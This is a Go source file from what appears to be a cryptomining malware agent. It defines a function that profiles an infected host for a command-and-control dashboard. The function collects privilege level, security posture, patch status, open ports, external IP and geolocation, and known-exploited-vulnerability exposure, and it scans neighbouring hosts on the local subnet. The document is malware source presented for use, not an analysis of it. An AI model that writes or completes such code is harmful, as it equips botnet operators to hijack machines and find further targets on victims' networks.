package client import ( "os" "runtime" "strings" "time" "crypto-miner-agent/config" "crypto-miner-agent/deploy" ) const syscheckRawMax = 12000 // CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard. func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport { r := &FullSysCheckReport{ GeneratedAt: time.Now().UTC().Format(time.RFC3339), Platform: runtime.GOOS, Arch: runtime.GOARCH, OSVersion: deploy.HostOSVersion(), WorkerName: cfg.WorkerName, BuildID: cfg.BuildID, AgentID: agentID, Network: &SysCheckNetwork{}, Neighbors: &SysCheckNeighbors{}, } if host, err := os.Hostname(); err == nil { r.Hostname = host } if p := collectPosture(); p != nil { r.Security = securityFromPosture(p) if p.AgentElevated != nil { r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated} } } r.Patch = collectPatchStatus() r.ListenPorts = collectListenPorts() r.Resources = collectResourcePressure() if dns := probeDNS(); dns != nil { r.Network.DNS = dns } r.Network.Interfaces = listNetInterfaces() if lip, err := deploy.PrimaryLocalIPv4(); err == nil { r.Network.PrimaryLocalIP = lip } extIP, src := fetchExternalIP() r.Network.ExternalIP = extIP r.Network.ExternalIPSource = src if extIP != "" { r.Network.Geo = fetchGeo(extIP) } arp := deploy.ArpNeighborIPs() r.Neighbors.ArpHosts = arp r.Neighbors.ArpCount = len(arp) r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(56) collectSysCheckPlatform(r) r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security) if dir, err := cfg.InstallDirectory(); err == nil { if r.Environment == nil { r.Environment = &SysCheckEnvironment{} } r.Environment.InstallDir = dir } r.RawSysinfo = truncateRaw(captureRawSysinfo()) r.RawIPConfig = truncateRaw(captureRawIPConfig()) r.RawNetstat = truncateRaw(captureRawNetstat()) return r } func truncateRaw(s string) string { s = strings.TrimSpace(s) if len(s) <= syscheckRawMax { return s } return s[:syscheckRawMax] + "\n…[truncated]" } func captureRawSysinfo() string { _, _, msg := platformReconStatic("sysinfo", "") return msg } func captureRawIPConfig() string { _, _, msg := platformReconStatic("ipconfig", "") return msg } func captureRawNetstat() string { _, _, msg := platformReconStatic("netstat", "") return msg } // platformReconStatic runs one recon action without AgentClient (for syscheck bundle). func platformReconStatic(action, command string) (bool, bool, string) { // Minimal stub client-free path: duplicate switch via temp ac := &AgentClient{} return ac.platformRecon(action, command) }